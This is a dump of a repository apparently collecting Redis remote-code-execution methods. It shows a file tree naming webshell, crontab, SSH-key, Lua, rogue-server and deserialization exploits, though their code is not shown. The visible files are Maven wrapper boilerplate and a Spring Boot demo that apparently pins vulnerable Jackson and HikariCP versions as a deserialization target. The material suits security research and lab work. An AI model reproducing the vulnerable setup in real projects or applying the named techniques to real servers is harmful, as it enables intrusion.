├── README.md ├── pom.xml ├── redis-springboot ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── MavenWrapperDownloader.java │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml └── src │ └── main │ ├── java │ └── cn │ │ └── b1ue │ │ └── redis │ │ └── springboot │ │ ├── RedisUnserialzeApplication.java │ │ ├── config │ │ └── RedisConfig.java │ │ ├── controller │ │ └── TestController.java │ │ └── entity │ │ └── User.java │ └── resources │ └── application.yml └── src └── main └── java └── cn └── b1ue └── redis ├── filewrite ├── Webshell.java ├── linux │ ├── Crontab.java │ └── SSHKey.java └── win │ └── StartUp.java ├── lua ├── LuaRCE.java ├── lua_scripts.py ├── redis-cli.exe └── redis_lua.py ├── module ├── exp.so └── redis-rogue-server.py └── unserialize ├── JDK.java ├── Jackson.java └── beanutils_calc.ser /README.md: -------------------------------------------------------------------------------- 1 | # redis-rce 2 | Redis RCE 的几种方法 3 | 4 | 文章请参考 5 | - https://paper.seebug.org/1169/ 6 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | cn.b1ue 8 | redisrce 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | 14 | 15 | redis.clients 16 | jedis 17 | 3.0.0 18 | 19 | 20 | 21 | 22 | commons-beanutils 23 | commons-beanutils 24 | 1.9.2 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /redis-springboot/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/** 5 | !**/src/test/** 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | 30 | ### VS Code ### 31 | .vscode/ 32 | -------------------------------------------------------------------------------- /redis-springboot/.mvn/wrapper/MavenWrapperDownloader.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2007-present the original author or authors. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * https://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | import java.net.*; 17 | import java.io.*; 18 | import java.nio.channels.*; 19 | import java.util.Properties; 20 | 21 | public class MavenWrapperDownloader { 22 | 23 | private static final String WRAPPER_VERSION = "0.5.6"; 24 | /** 25 | * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided. 26 | */ 27 | private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/" 28 | + WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar"; 29 | 30 | /** 31 | * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to 32 | * use instead of the default one. 33 | */ 34 | private static final String MAVEN_WRAPPER_PROPERTIES_PATH = 35 | ".mvn/wrapper/maven-wrapper.properties"; 36 | 37 | /** 38 | * Path where the maven-wrapper.jar will be saved to. 39 | */ 40 | private static final String MAVEN_WRAPPER_JAR_PATH = 41 | ".mvn/wrapper/maven-wrapper.jar"; 42 | 43 | /** 44 | * Name of the property which should be used to override the default download url for the wrapper. 45 | */ 46 | private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl"; 47 | 48 | public static void main(String args[]) { 49 | System.out.println("- Downloader started"); 50 | File baseDirectory = new File(args[0]); 51 | System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath()); 52 | 53 | // If the maven-wrapper.properties exists, read it and check if it contains a custom 54 | // wrapperUrl parameter. 55 | File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH); 56 | String url = DEFAULT_DOWNLOAD_URL; 57 | if(mavenWrapperPropertyFile.exists()) { 58 | FileInputStream mavenWrapperPropertyFileInputStream = null; 59 | try { 60 | mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile); 61 | Properties mavenWrapperProperties = new Properties(); 62 | mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream); 63 | url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url); 64 | } catch (IOException e) { 65 | System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'"); 66 | } finally { 67 | try { 68 | if(mavenWrapperPropertyFileInputStream != null) { 69 | mavenWrapperPropertyFileInputStream.close(); 70 | } 71 | } catch (IOException e) { 72 | // Ignore ... 73 | } 74 | } 75 | } 76 | System.out.println("- Downloading from: " + url); 77 | 78 | File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH); 79 | if(!outputFile.getParentFile().exists()) { 80 | if(!outputFile.getParentFile().mkdirs()) { 81 | System.out.println( 82 | "- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'"); 83 | } 84 | } 85 | System.out.println("- Downloading to: " + outputFile.getAbsolutePath()); 86 | try { 87 | downloadFileFromURL(url, outputFile); 88 | System.out.println("Done"); 89 | System.exit(0); 90 | } catch (Throwable e) { 91 | System.out.println("- Error downloading"); 92 | e.printStackTrace(); 93 | System.exit(1); 94 | } 95 | } 96 | 97 | private static void downloadFileFromURL(String urlString, File destination) throws Exception { 98 | if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) { 99 | String username = System.getenv("MVNW_USERNAME"); 100 | char[] password = System.getenv("MVNW_PASSWORD").toCharArray(); 101 | Authenticator.setDefault(new Authenticator() { 102 | @Override 103 | protected PasswordAuthentication getPasswordAuthentication() { 104 | return new PasswordAuthentication(username, password); 105 | } 106 | }); 107 | } 108 | URL website = new URL(urlString); 109 | ReadableByteChannel rbc; 110 | rbc = Channels.newChannel(website.openStream()); 111 | FileOutputStream fos = new FileOutputStream(destination); 112 | fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); 113 | fos.close(); 114 | rbc.close(); 115 | } 116 | 117 | } 118 | -------------------------------------------------------------------------------- /redis-springboot/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/redis-rce/100d35284c52a93fcbf2d8ad50d270cda3e1bece/redis-springboot/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /redis-springboot/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.3/apache-maven-3.6.3-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar 3 | -------------------------------------------------------------------------------- /redis-springboot/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # https://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Mingw, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | fi 118 | 119 | if [ -z "$JAVA_HOME" ]; then 120 | javaExecutable="`which javac`" 121 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 122 | # readlink(1) is not available as standard on Solaris 10. 123 | readLink=`which readlink` 124 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 125 | if $darwin ; then 126 | javaHome="`dirname \"$javaExecutable\"`" 127 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 128 | else 129 | javaExecutable="`readlink -f \"$javaExecutable\"`" 130 | fi 131 | javaHome="`dirname \"$javaExecutable\"`" 132 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 133 | JAVA_HOME="$javaHome" 134 | export JAVA_HOME 135 | fi 136 | fi 137 | fi 138 | 139 | if [ -z "$JAVACMD" ] ; then 140 | if [ -n "$JAVA_HOME" ] ; then 141 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 142 | # IBM's JDK on AIX uses strange locations for the executables 143 | JAVACMD="$JAVA_HOME/jre/sh/java" 144 | else 145 | JAVACMD="$JAVA_HOME/bin/java" 146 | fi 147 | else 148 | JAVACMD="`which java`" 149 | fi 150 | fi 151 | 152 | if [ ! -x "$JAVACMD" ] ; then 153 | echo "Error: JAVA_HOME is not defined correctly." >&2 154 | echo " We cannot execute $JAVACMD" >&2 155 | exit 1 156 | fi 157 | 158 | if [ -z "$JAVA_HOME" ] ; then 159 | echo "Warning: JAVA_HOME environment variable is not set." 160 | fi 161 | 162 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 163 | 164 | # traverses directory structure from process work directory to filesystem root 165 | # first directory with .mvn subdirectory is considered project base directory 166 | find_maven_basedir() { 167 | 168 | if [ -z "$1" ] 169 | then 170 | echo "Path not specified to find_maven_basedir" 171 | return 1 172 | fi 173 | 174 | basedir="$1" 175 | wdir="$1" 176 | while [ "$wdir" != '/' ] ; do 177 | if [ -d "$wdir"/.mvn ] ; then 178 | basedir=$wdir 179 | break 180 | fi 181 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 182 | if [ -d "${wdir}" ]; then 183 | wdir=`cd "$wdir/.."; pwd` 184 | fi 185 | # end of workaround 186 | done 187 | echo "${basedir}" 188 | } 189 | 190 | # concatenates all lines of a file 191 | concat_lines() { 192 | if [ -f "$1" ]; then 193 | echo "$(tr -s '\n' ' ' < "$1")" 194 | fi 195 | } 196 | 197 | BASE_DIR=`find_maven_basedir "$(pwd)"` 198 | if [ -z "$BASE_DIR" ]; then 199 | exit 1; 200 | fi 201 | 202 | ########################################################################################## 203 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 204 | # This allows using the maven wrapper in projects that prohibit checking in binary data. 205 | ########################################################################################## 206 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then 207 | if [ "$MVNW_VERBOSE" = true ]; then 208 | echo "Found .mvn/wrapper/maven-wrapper.jar" 209 | fi 210 | else 211 | if [ "$MVNW_VERBOSE" = true ]; then 212 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." 213 | fi 214 | if [ -n "$MVNW_REPOURL" ]; then 215 | jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 216 | else 217 | jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 218 | fi 219 | while IFS="=" read key value; do 220 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;; 221 | esac 222 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" 223 | if [ "$MVNW_VERBOSE" = true ]; then 224 | echo "Downloading from: $jarUrl" 225 | fi 226 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" 227 | if $cygwin; then 228 | wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` 229 | fi 230 | 231 | if command -v wget > /dev/null; then 232 | if [ "$MVNW_VERBOSE" = true ]; then 233 | echo "Found wget ... using wget" 234 | fi 235 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then 236 | wget "$jarUrl" -O "$wrapperJarPath" 237 | else 238 | wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" 239 | fi 240 | elif command -v curl > /dev/null; then 241 | if [ "$MVNW_VERBOSE" = true ]; then 242 | echo "Found curl ... using curl" 243 | fi 244 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then 245 | curl -o "$wrapperJarPath" "$jarUrl" -f 246 | else 247 | curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f 248 | fi 249 | 250 | else 251 | if [ "$MVNW_VERBOSE" = true ]; then 252 | echo "Falling back to using Java to download" 253 | fi 254 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" 255 | # For Cygwin, switch paths to Windows format before running javac 256 | if $cygwin; then 257 | javaClass=`cygpath --path --windows "$javaClass"` 258 | fi 259 | if [ -e "$javaClass" ]; then 260 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 261 | if [ "$MVNW_VERBOSE" = true ]; then 262 | echo " - Compiling MavenWrapperDownloader.java ..." 263 | fi 264 | # Compiling the Java class 265 | ("$JAVA_HOME/bin/javac" "$javaClass") 266 | fi 267 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 268 | # Running the downloader 269 | if [ "$MVNW_VERBOSE" = true ]; then 270 | echo " - Running MavenWrapperDownloader.java ..." 271 | fi 272 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") 273 | fi 274 | fi 275 | fi 276 | fi 277 | ########################################################################################## 278 | # End of extension 279 | ########################################################################################## 280 | 281 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 282 | if [ "$MVNW_VERBOSE" = true ]; then 283 | echo $MAVEN_PROJECTBASEDIR 284 | fi 285 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 286 | 287 | # For Cygwin, switch paths to Windows format before running java 288 | if $cygwin; then 289 | [ -n "$M2_HOME" ] && 290 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 291 | [ -n "$JAVA_HOME" ] && 292 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 293 | [ -n "$CLASSPATH" ] && 294 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 295 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 296 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 297 | fi 298 | 299 | # Provide a "standardized" way to retrieve the CLI args that will 300 | # work with both Windows and non-Windows executions. 301 | MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" 302 | export MAVEN_CMD_LINE_ARGS 303 | 304 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 305 | 306 | exec "$JAVACMD" \ 307 | $MAVEN_OPTS \ 308 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 309 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 310 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 311 | -------------------------------------------------------------------------------- /redis-springboot/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM https://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM set title of command window 39 | title %0 40 | @REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' 41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 42 | 43 | @REM set %HOME% to equivalent of $HOME 44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 45 | 46 | @REM Execute a user defined script before this one 47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 51 | :skipRcPre 52 | 53 | @setlocal 54 | 55 | set ERROR_CODE=0 56 | 57 | @REM To isolate internal variables from possible post scripts, we use another setlocal 58 | @setlocal 59 | 60 | @REM ==== START VALIDATION ==== 61 | if not "%JAVA_HOME%" == "" goto OkJHome 62 | 63 | echo. 64 | echo Error: JAVA_HOME not found in your environment. >&2 65 | echo Please set the JAVA_HOME variable in your environment to match the >&2 66 | echo location of your Java installation. >&2 67 | echo. 68 | goto error 69 | 70 | :OkJHome 71 | if exist "%JAVA_HOME%\bin\java.exe" goto init 72 | 73 | echo. 74 | echo Error: JAVA_HOME is set to an invalid directory. >&2 75 | echo JAVA_HOME = "%JAVA_HOME%" >&2 76 | echo Please set the JAVA_HOME variable in your environment to match the >&2 77 | echo location of your Java installation. >&2 78 | echo. 79 | goto error 80 | 81 | @REM ==== END VALIDATION ==== 82 | 83 | :init 84 | 85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 86 | @REM Fallback to current working directory if not found. 87 | 88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 90 | 91 | set EXEC_DIR=%CD% 92 | set WDIR=%EXEC_DIR% 93 | :findBaseDir 94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 95 | cd .. 96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 97 | set WDIR=%CD% 98 | goto findBaseDir 99 | 100 | :baseDirFound 101 | set MAVEN_PROJECTBASEDIR=%WDIR% 102 | cd "%EXEC_DIR%" 103 | goto endDetectBaseDir 104 | 105 | :baseDirNotFound 106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 107 | cd "%EXEC_DIR%" 108 | 109 | :endDetectBaseDir 110 | 111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 112 | 113 | @setlocal EnableExtensions EnableDelayedExpansion 114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 116 | 117 | :endReadAdditionalConfig 118 | 119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 122 | 123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 124 | 125 | FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( 126 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B 127 | ) 128 | 129 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 130 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data. 131 | if exist %WRAPPER_JAR% ( 132 | if "%MVNW_VERBOSE%" == "true" ( 133 | echo Found %WRAPPER_JAR% 134 | ) 135 | ) else ( 136 | if not "%MVNW_REPOURL%" == "" ( 137 | SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 138 | ) 139 | if "%MVNW_VERBOSE%" == "true" ( 140 | echo Couldn't find %WRAPPER_JAR%, downloading it ... 141 | echo Downloading from: %DOWNLOAD_URL% 142 | ) 143 | 144 | powershell -Command "&{"^ 145 | "$webclient = new-object System.Net.WebClient;"^ 146 | "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ 147 | "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ 148 | "}"^ 149 | "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ 150 | "}" 151 | if "%MVNW_VERBOSE%" == "true" ( 152 | echo Finished downloading %WRAPPER_JAR% 153 | ) 154 | ) 155 | @REM End of extension 156 | 157 | @REM Provide a "standardized" way to retrieve the CLI args that will 158 | @REM work with both Windows and non-Windows executions. 159 | set MAVEN_CMD_LINE_ARGS=%* 160 | 161 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 162 | if ERRORLEVEL 1 goto error 163 | goto end 164 | 165 | :error 166 | set ERROR_CODE=1 167 | 168 | :end 169 | @endlocal & set ERROR_CODE=%ERROR_CODE% 170 | 171 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 172 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 173 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 174 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 175 | :skipRcPost 176 | 177 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 178 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 179 | 180 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 181 | 182 | exit /B %ERROR_CODE% 183 | -------------------------------------------------------------------------------- /redis-springboot/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.2.6.RELEASE 9 | 10 | 11 | cn.b1ue.redis 12 | springboot 13 | 0.0.1-SNAPSHOT 14 | redis-unserialze 15 | Demo project for Spring Boot 16 | 17 | 18 | 1.8 19 | 20 | 21 | 22 | 23 | org.springframework.boot 24 | spring-boot-starter-data-redis 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-web 29 | 30 | 31 | 32 | org.springframework.boot 33 | spring-boot-starter-test 34 | test 35 | 36 | 37 | org.junit.vintage 38 | junit-vintage-engine 39 | 40 | 41 | 42 | 43 | com.zaxxer 44 | HikariCP-java6 45 | 2.3.13 46 | 47 | 48 | com.fasterxml.jackson.core 49 | jackson-databind 50 | 2.10.0.pr1 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | org.springframework.boot 59 | spring-boot-maven-plugin 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /redis-springboot/src/main/java/cn/b1ue/redis/springboot/RedisUnserialzeApplication.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.springboot; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class RedisUnserialzeApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(RedisUnserialzeApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /redis-springboot/src/main/java/cn/b1ue/redis/springboot/config/RedisConfig.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.springboot.config; 2 | 3 | import com.fasterxml.jackson.annotation.JsonAutoDetect; 4 | import com.fasterxml.jackson.annotation.PropertyAccessor; 5 | import com.fasterxml.jackson.databind.ObjectMapper; 6 | import org.springframework.cache.CacheManager; 7 | import org.springframework.cache.annotation.CachingConfigurerSupport; 8 | import org.springframework.cache.annotation.EnableCaching; 9 | import org.springframework.cache.interceptor.SimpleKeyGenerator; 10 | import org.springframework.context.annotation.Bean; 11 | import org.springframework.context.annotation.Configuration; 12 | import org.springframework.data.redis.cache.RedisCacheConfiguration; 13 | import org.springframework.data.redis.cache.RedisCacheManager; 14 | import org.springframework.data.redis.connection.lettuce.LettuceConnectionFactory; 15 | import org.springframework.data.redis.core.RedisTemplate; 16 | import org.springframework.data.redis.core.StringRedisTemplate; 17 | import org.springframework.data.redis.serializer.Jackson2JsonRedisSerializer; 18 | import org.springframework.data.redis.serializer.RedisSerializationContext; 19 | import org.springframework.data.redis.serializer.RedisSerializer; 20 | import org.springframework.data.redis.serializer.StringRedisSerializer; 21 | 22 | 